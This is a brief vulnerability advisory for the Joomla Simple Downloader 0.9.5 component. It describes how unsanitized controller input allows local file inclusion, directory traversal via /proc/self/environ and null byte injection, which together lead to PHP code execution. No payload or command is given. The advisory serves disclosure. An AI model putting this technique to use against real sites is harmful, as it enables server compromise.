Joomla Simple Downloader 0.9.5 Local File Inclusion / Command Execution

`--[Description]--  
A vulnerability has been found in the downloader component for Joomla. It can be exploited in various ways - from sensitive information disclosure to remote code execution.  
  
Input passed to controller is not properly sanitized, allowing attacker to inject php code  
via Local File Inclusion combined with Directory Traversal (/proc/self/environ method) and Null Byte Injection, leading to Remote Code Execution.
